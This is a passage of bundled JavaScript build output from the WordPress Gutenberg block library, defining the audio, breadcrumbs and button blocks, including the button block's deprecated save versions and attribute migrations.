  // packages/block-library/build-module/audio/block.json
  var block_default8 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/audio",
    title: "Audio",
    category: "media",
    description: "Embed a simple audio player.",
    keywords: ["music", "sound", "podcast", "recording"],
    textdomain: "default",
    attributes: {
      blob: {
        type: "string",
        role: "local"
      },
      src: {
        type: "string",
        source: "attribute",
        selector: "audio",
        attribute: "src",
        role: "content"
      },
      caption: {
        type: "rich-text",
        source: "rich-text",
        selector: "figcaption",
        role: "content"
      },
      id: {
        type: "number",
        role: "content"
      },
      autoplay: {
        type: "boolean",
        source: "attribute",
        selector: "audio",
        attribute: "autoplay"
      },
      loop: {
        type: "boolean",
        source: "attribute",
        selector: "audio",
        attribute: "loop"
      },
      preload: {
        type: "string",
        source: "attribute",
        selector: "audio",
        attribute: "preload"
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-audio-editor",
    style: "wp-block-audio"
  };

  // packages/block-library/build-module/audio/save.mjs
  var import_block_editor16 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime173 = __toESM(require_jsx_runtime(), 1);
  function save5({ attributes: attributes2 }) {
    const { autoplay, caption, loop, preload, src } = attributes2;
    return src && /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)("figure", { ...import_block_editor16.useBlockProps.save(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
        "audio",
        {
          controls: "controls",
          src,
          autoPlay: autoplay,
          loop,
          preload
        }
      ),
      !import_block_editor16.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
        import_block_editor16.RichText.Content,
        {
          tagName: "figcaption",
          value: caption,
          className: (0, import_block_editor16.__experimentalGetElementClassName)(
            "caption"
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/audio/transforms.mjs
  var import_blob3 = __toESM(require_blob(), 1);
  var import_blocks5 = __toESM(require_blocks(), 1);
  var transforms = {
    from: [
      {
        type: "files",
        isMatch(files) {
          return files.length === 1 && files[0].type.indexOf("audio/") === 0;
        },
        transform(files) {
          const file = files[0];
          const block = (0, import_blocks5.createBlock)("core/audio", {
            blob: (0, import_blob3.createBlobURL)(file)
          });
          return block;
        }
      },
      {
        type: "shortcode",
        tag: "audio",
        attributes: {
          src: {
            type: "string",
            shortcode: ({
              named: { src, mp3, m4a, ogg, wav, wma }
            }) => {
              return src || mp3 || m4a || ogg || wav || wma;
            }
          },
          loop: {
            type: "string",
            shortcode: ({ named: { loop } }) => {
              return loop;
            }
          },
          autoplay: {
            type: "string",
            shortcode: ({ named: { autoplay } }) => {
              return autoplay;
            }
          },
          preload: {
            type: "string",
            shortcode: ({ named: { preload } }) => {
              return preload;
            }
          }
        }
      }
    ]
  };
  var transforms_default = transforms;

  // packages/block-library/build-module/audio/index.mjs
  var { fieldsKey, formKey } = unlock(import_blocks6.privateApis);
  var { name: name7 } = block_default8;
  var settings7 = {
    icon: audio_default,
    example: {
      attributes: {
        src: "https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg"
      },
      viewportWidth: 350
    },
    transforms: transforms_default,
    deprecated: deprecated_default2,
    edit: edit_default,
    save: save5
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings7[fieldsKey] = [
      {
        id: "audio",
        label: (0, import_i18n11.__)("Audio"),
        type: "media",
        Edit: {
          control: "media",
          // TODO: replace with custom component
          allowedTypes: ["audio"],
          multiple: false
        },
        getValue: ({ item }) => ({
          id: item.id,
          url: item.src
        }),
        setValue: ({ value }) => ({
          id: value.id,
          src: value.url
        })
      },
      {
        id: "caption",
        label: (0, import_i18n11.__)("Caption"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings7[formKey] = {
      fields: ["audio", "caption"]
    };
  }
  var init7 = () => initBlock({ name: name7, metadata: block_default8, settings: settings7 });

  // packages/block-library/build-module/breadcrumbs/index.mjs
  var breadcrumbs_exports = {};
  __export(breadcrumbs_exports, {
    init: () => init8,
    metadata: () => block_default9,
    name: () => name8,
    settings: () => settings8
  });

  // packages/block-library/build-module/breadcrumbs/block.json
  var block_default9 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/breadcrumbs",
    title: "Breadcrumbs",
    category: "theme",
    description: "Display a breadcrumb trail showing the path to the current page.",
    textdomain: "default",
    attributes: {
      prefersTaxonomy: {
        type: "boolean",
        default: false
      },
      separator: {
        type: "string",
        default: "/"
      },
      showHomeItem: {
        type: "boolean",
        default: true
      },
      showCurrentItem: {
        type: "boolean",
        default: true
      },
      showOnHomePage: {
        type: "boolean",
        default: false
      }
    },
    usesContext: ["postId", "postType", "templateSlug"],
    supports: {
      anchor: true,
      html: false,
      align: ["wide", "full"],
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: false,
          color: true,
          width: true,
          style: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-breadcrumbs"
  };

  // packages/block-library/build-module/breadcrumbs/edit.mjs
  var import_i18n12 = __toESM(require_i18n(), 1);
  var import_block_editor17 = __toESM(require_block_editor(), 1);
  var import_components9 = __toESM(require_components(), 1);
  var import_data9 = __toESM(require_data(), 1);
  var import_core_data4 = __toESM(require_core_data(), 1);
  var import_element8 = __toESM(require_element(), 1);
  var import_server_side_render2 = __toESM(require_server_side_render(), 1);
  var import_compose5 = __toESM(require_compose(), 1);
  var import_jsx_runtime174 = __toESM(require_jsx_runtime(), 1);
  var separatorDefaultValue = "/";
  function BreadcrumbEdit({
    attributes: attributes2,
    setAttributes,
    name: name123,
    context: { postId, postType, templateSlug }
  }) {
    const {
      separator,
      showHomeItem,
      showCurrentItem,
      prefersTaxonomy,
      showOnHomePage
    } = attributes2;
    const {
      post,
      isPostTypeHierarchical,
      postTypeHasTaxonomies,
      hasTermsAssigned,
      isLoading
    } = (0, import_data9.useSelect)(
      (select9) => {
        if (!postType) {
          return {};
        }
        const _post = select9(import_core_data4.store).getEntityRecord(
          "postType",
          postType,
          postId
        );
        const postTypeObject = select9(import_core_data4.store).getPostType(postType);
        const _postTypeHasTaxonomies = postTypeObject && postTypeObject.taxonomies.length;
        let taxonomies;
        if (_postTypeHasTaxonomies) {
          taxonomies = select9(import_core_data4.store).getTaxonomies({
            type: postType,
            per_page: -1
          });
        }
        return {
          post: _post,
          isPostTypeHierarchical: postTypeObject?.hierarchical,
          postTypeHasTaxonomies: _postTypeHasTaxonomies,
          hasTermsAssigned: _post && (taxonomies || []).filter(
            ({ visibility }) => visibility?.publicly_queryable
          ).some((taxonomy) => {
            return !!_post[taxonomy.rest_base]?.length;
          }),
          isLoading: postId && !_post || !postTypeObject || _postTypeHasTaxonomies && !taxonomies
        };
      },
      [postType, postId]
    );
    const [invalidationKey, setInvalidationKey] = (0, import_element8.useState)(0);
    (0, import_element8.useEffect)(() => {
      setInvalidationKey((c2) => c2 + 1);
    }, [post]);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render2.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123,
      urlQueryArgs: { post_id: postId, invalidationKey }
    });
    const prevContentRef = (0, import_element8.useRef)("");
    (0, import_element8.useEffect)(() => {
      if (status === "success") {
        prevContentRef.current = content;
      }
    }, [content, status]);
    const [showLoader, setShowLoader] = (0, import_element8.useState)(false);
    (0, import_element8.useEffect)(() => {
      if (status !== "loading") {
        return;
      }
      const timeout = setTimeout(() => {
        setShowLoader(true);
      }, 400);
      return () => {
        clearTimeout(timeout);
        setShowLoader(false);
      };
    }, [status]);
    const disabledRef = (0, import_compose5.useDisabled)();
    const blockProps = (0, import_block_editor17.useBlockProps)({ ref: disabledRef });
    if (isLoading) {
      return /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_components9.Spinner, {}) });
    }
    let _showTerms;
    if (!isPostTypeHierarchical && !post?.parent) {
      _showTerms = true;
    } else if (!postTypeHasTaxonomies) {
      _showTerms = false;
    } else {
      _showTerms = prefersTaxonomy;
    }
    let placeholder2 = null;
    const showPlaceholder = !postId || !postType || // When `templateSlug` is set only show placeholder if the post type is not.
    // This is needed because when we are showing the template in post editor we
    // want to show the real breadcrumbs if we have the post type.
    templateSlug && !postType || !_showTerms && !isPostTypeHierarchical || _showTerms && !hasTermsAssigned;
    if (showPlaceholder) {
      const placeholderItems = [];
      if (showHomeItem) {
        placeholderItems.push((0, import_i18n12.__)("Home"));
      }
      if (templateSlug && !postId) {
        placeholderItems.push((0, import_i18n12.__)("Page"));
      } else if (_showTerms) {
        placeholderItems.push((0, import_i18n12.__)("Category"));
      } else {
        placeholderItems.push((0, import_i18n12.__)("Ancestor"), (0, import_i18n12.__)("Parent"));
      }
      placeholder2 = /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
        "nav",
        {
          ...blockProps,
          style: {
            "--separator": `"${separator.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`,
            ...blockProps.style
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)("ol", { children: [
            placeholderItems.map((text, index) => /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("li", { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("a", { href: `#breadcrumbs-pseudo-link-${index}`, children: text }) }, index)),
            showCurrentItem && /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("li", { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("span", { "aria-current": "page", children: (0, import_i18n12.__)("Current") }) })
          ] })
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_jsx_runtime174.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_block_editor17.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(
        import_components9.__experimentalToolsPanel,
        {
          label: (0, import_i18n12.__)("Settings"),
          resetAll: () => {
            setAttributes({
              separator: separatorDefaultValue,
              showHomeItem: true,
              showCurrentItem: true
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)("Show home breadcrumb"),
                isShownByDefault: true,
                hasValue: () => !showHomeItem,
                onDeselect: () => setAttributes({
                  showHomeItem: true
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.ToggleControl,
                  {
                    label: (0, import_i18n12.__)("Show home breadcrumb"),
                    onChange: (value) => setAttributes({ showHomeItem: value }),
                    checked: showHomeItem
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)("Show current breadcrumb"),
                isShownByDefault: true,
                hasValue: () => !showCurrentItem,
                onDeselect: () => setAttributes({
                  showCurrentItem: true
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.ToggleControl,
                  {
                    label: (0, import_i18n12.__)("Show current breadcrumb"),
                    onChange: (value) => setAttributes({ showCurrentItem: value }),
                    checked: showCurrentItem
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)("Separator"),
                isShownByDefault: true,
                hasValue: () => separator !== separatorDefaultValue,
                onDeselect: () => setAttributes({
                  separator: separatorDefaultValue
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    autoComplete: "off",
                    label: (0, import_i18n12.__)("Separator"),
                    value: separator,
                    onChange: (value) => setAttributes({ separator: value }),
                    onBlur: () => {
                      if (!separator) {
                        setAttributes({
                          separator: separatorDefaultValue
                        });
                      }
                    }
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_block_editor17.InspectorControls, { group: "advanced", children: [
        /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
          import_components9.CheckboxControl,
          {
            label: (0, import_i18n12.__)("Show on homepage"),
            checked: showOnHomePage,
            onChange: (value) => setAttributes({ showOnHomePage: value }),
            help: (0, import_i18n12.__)(
              "If this breadcrumbs block appears in a template or template part that\u2019s shown on the homepage, enable this option to display the breadcrumb trail. Otherwise, this setting has no effect."
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
          import_components9.CheckboxControl,
          {
            label: (0, import_i18n12.__)("Prefer taxonomy terms"),
            checked: prefersTaxonomy,
            onChange: (value) => setAttributes({ prefersTaxonomy: value }),
            help: (0, import_i18n12.__)(
              "The exact type of breadcrumbs shown will vary automatically depending on the page in which this block is displayed. In the specific case of a hierarchical post type with taxonomies, the breadcrumbs can either reflect its post hierarchy (default) or the hierarchy of its assigned taxonomy terms."
            )
          }
        )
      ] }),
      status === "loading" && !showPlaceholder && (prevContentRef.current ? /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
        html_renderer_default,
        {
          wrapperProps: {
            ...blockProps,
            style: {
              ...blockProps.style,
              opacity: showLoader ? 0.3 : 1
            }
          },
          html: prevContentRef.current
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_components9.Spinner, {}) })),
      status === "error" && /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)("p", { children: (0, import_i18n12.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n12.__)("Error: %s"),
        error
      ) }) }),
      showPlaceholder && placeholder2,
      !showPlaceholder && status === "success" && /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/breadcrumbs/index.mjs
  var { name: name8 } = block_default9;
  var settings8 = {
    icon: breadcrumbs_default,
    example: {},
    edit: BreadcrumbEdit
  };
  var init8 = () => initBlock({ name: name8, metadata: block_default9, settings: settings8 });

  // packages/block-library/build-module/button/index.mjs
  var button_exports = {};
  __export(button_exports, {
    init: () => init9,
    metadata: () => block_default10,
    name: () => name9,
    settings: () => settings9
  });
  var import_i18n14 = __toESM(require_i18n(), 1);
  var import_blocks8 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/button/deprecated.mjs
  var import_block_editor19 = __toESM(require_block_editor(), 1);
  var import_compose6 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/utils/migrate-font-family.mjs
  var import_block_editor18 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject } = unlock(import_block_editor18.privateApis);
  function migrate_font_family_default(attributes2) {
    if (!attributes2?.style?.typography?.fontFamily) {
      return attributes2;
    }
    const { fontFamily, ...typography } = attributes2.style.typography;
    return {
      ...attributes2,
      style: cleanEmptyObject({
        ...attributes2.style,
        typography
      }),
      fontFamily: fontFamily.split("|").pop()
    };
  }

  // packages/block-library/build-module/utils/migrate-text-align.mjs
  function migrate_text_align_default(attributes2) {
    const { textAlign, ...restAttributes } = attributes2;
    if (!textAlign) {
      return attributes2;
    }
    return {
      ...restAttributes,
      style: {
        ...attributes2.style,
        typography: {
          ...attributes2.style?.typography,
          textAlign
        }
      }
    };
  }

  // packages/block-library/build-module/button/deprecated.mjs
  var import_jsx_runtime175 = __toESM(require_jsx_runtime(), 1);
  var migrateBorderRadius = (attributes2) => {
    const { borderRadius, ...newAttributes } = attributes2;
    const oldBorderRadius = [
      borderRadius,
      newAttributes.style?.border?.radius
    ].find((possibleBorderRadius) => {
      return typeof possibleBorderRadius === "number" && possibleBorderRadius !== 0;
    });
    if (!oldBorderRadius) {
      return newAttributes;
    }
    return {
      ...newAttributes,
      style: {
        ...newAttributes.style,
        border: {
          ...newAttributes.style?.border,
          radius: `${oldBorderRadius}px`
        }
      }
    };
  };
  function migrateAlign(attributes2) {
    if (!attributes2.align) {
      return attributes2;
    }
    const { align, ...otherAttributes } = attributes2;
    return {
      ...otherAttributes,
      className: clsx_default(
        otherAttributes.className,
        `align${attributes2.align}`
      )
    };
  }
  var migrateCustomColorsAndGradients = (attributes2) => {
    if (!attributes2.customTextColor && !attributes2.customBackgroundColor && !attributes2.customGradient) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    if (attributes2.customGradient) {
      style2.color.gradient = attributes2.customGradient;
    }
    const {
      customTextColor,
      customBackgroundColor,
      customGradient,
      ...restAttributes
    } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var oldColorsMigration = (attributes2) => {
    const { color, textColor, ...restAttributes } = {
      ...attributes2,
      customTextColor: attributes2.textColor && "#" === attributes2.textColor[0] ? attributes2.textColor : void 0,
      customBackgroundColor: attributes2.color && "#" === attributes2.color[0] ? attributes2.color : void 0
    };
    return migrateCustomColorsAndGradients(restAttributes);
  };
  var blockAttributes = {
    url: {
      type: "string",
      source: "attribute",
      selector: "a",
      attribute: "href"
    },
    title: {
      type: "string",
      source: "attribute",
      selector: "a",
      attribute: "title"
    },
    text: {
      type: "string",
      source: "html",
      selector: "a"
    }
  };
  var v13 = {
    attributes: {
      tagName: {
        type: "string",
        enum: ["a", "button"],
        default: "a"
      },
      type: {
        type: "string",
        default: "button"
      },
      textAlign: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href",
        role: "content"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "a,button",
        attribute: "title",
        role: "content"
      },
      text: {
        type: "rich-text",
        source: "rich-text",
        selector: "a,button",
        role: "content"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "target",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "rel",
        role: "content"
      },
      placeholder: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      width: {
        type: "number"
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          "fontSize",
          "lineHeight",
          "fontFamily",
          "fontWeight",
          "fontStyle",
          "textTransform",
          "textDecoration",
          "letterSpacing"
        ],
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: ".wp-block-button .wp-block-button__link",
      typography: {
        writingMode: ".wp-block-button"
      }
    },
    save({ attributes: attributes2, className }) {
      const {
        tagName,
        type,
        textAlign,
        fontSize,
        linkTarget,
        rel,
        style: style2,
        text,
        title,
        url,
        width
      } = attributes2;
      const TagName2 = tagName || "a";
      const isButtonTag = "button" === TagName2;
      const buttonType = type || "button";
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const shadowProps = (0, import_block_editor19.__experimentalGetShadowClassesAndStyles)(attributes2);
      const typographyProps = (0, import_block_editor19.getTypographyClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        "wp-block-button__link",
        colorProps.className,
        borderProps.className,
        typographyProps.className,
        {
          [`has-text-align-${textAlign}`]: textAlign,
          // For backwards compatibility add style that isn't provided via
          // block support.
          "no-border-radius": style2?.border?.radius === 0,
          [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
        },
        (0, import_block_editor19.__experimentalGetElementClassName)("button")
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style,
        ...shadowProps.style,
        ...typographyProps.style,
        writingMode: void 0
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: TagName2,
          type: isButtonTag ? buttonType : null,
          className: buttonClasses,
          href: isButtonTag ? null : url,
          title,
          style: buttonStyle,
          value: text,
          target: isButtonTag ? null : linkTarget,
          rel: isButtonTag ? null : rel
        }
      ) });
    },
    isEligible(attributes2) {
      return !!attributes2.textAlign;
    },
    migrate: migrate_text_align_default
  };
  var v12 = {
    attributes: {
      tagName: {
        type: "string",
        enum: ["a", "button"],
        default: "a"
      },
      type: {
        type: "string",
        default: "button"
      },
      textAlign: {
        type: "string"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "a,button",
        attribute: "title",
        role: "content"
      },
      text: {
        type: "rich-text",
        source: "rich-text",
        selector: "a,button",
        role: "content"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "target",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "rel",
        role: "content"
      },
      placeholder: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      width: {
        type: "number"
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      __experimentalSelector: ".wp-block-button__link",
      interactivity: {
        clientNavigation: true
      }
    },
    save({ attributes: attributes2, className }) {
      const {
        tagName,
        type,
        textAlign,
        fontSize,
        linkTarget,
        rel,
        style: style2,
        text,
        title,
        url,
        width
      } = attributes2;
      const TagName2 = tagName || "a";
      const isButtonTag = "button" === TagName2;
      const buttonType = type || "button";
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const shadowProps = (0, import_block_editor19.__experimentalGetShadowClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        "wp-block-button__link",
        colorProps.className,
        borderProps.className,
        {
          [`has-text-align-${textAlign}`]: textAlign,
          // For backwards compatibility add style that isn't provided via
          // block support.
          "no-border-radius": style2?.border?.radius === 0
        },
        (0, import_block_editor19.__experimentalGetElementClassName)("button")
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style,
        ...shadowProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: TagName2,
          type: isButtonTag ? buttonType : null,
          className: buttonClasses,
          href: isButtonTag ? null : url,
          title,
          style: buttonStyle,
          value: text,
          target: isButtonTag ? null : linkTarget,
          rel: isButtonTag ? null : rel
        }
      ) });
    }
  };
  var v11 = {
    attributes: {
      url: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "title"
      },
      text: {
        type: "string",
        source: "html",
        selector: "a"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "target"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "rel"
      },
      placeholder: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      width: {
        type: "number"
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      spacing: {
        __experimentalSkipSerialization: true,
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      __experimentalSelector: ".wp-block-button__link"
    },
    save({ attributes: attributes2, className }) {
      const { fontSize, linkTarget, rel, style: style2, text, title, url, width } = attributes2;
      if (!text) {
        return null;
      }
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        "wp-block-button__link",
        colorProps.className,
        borderProps.className,
        {
          // For backwards compatibility add style that isn't provided via
          // block support.
          "no-border-radius": style2?.border?.radius === 0
        }
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: "a",
          className: buttonClasses,
          href: url,
          title,
          style: buttonStyle,
          value: text,
          target: linkTarget,
          rel
        }
      ) });
    }
  };
  var v10 = {
    attributes: {
      url: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "title"
      },
      text: {
        type: "string",
        source: "html",
        selector: "a"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "target"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "rel"
      },
      placeholder: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      width: {
        type: "number"
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      reusable: false,
      spacing: {
        __experimentalSkipSerialization: true,
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true
      },
      __experimentalSelector: ".wp-block-button__link"
    },
    save({ attributes: attributes2, className }) {
      const { fontSize, linkTarget, rel, style: style2, text, title, url, width } = attributes2;
      if (!text) {
        return null;
      }
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        "wp-block-button__link",
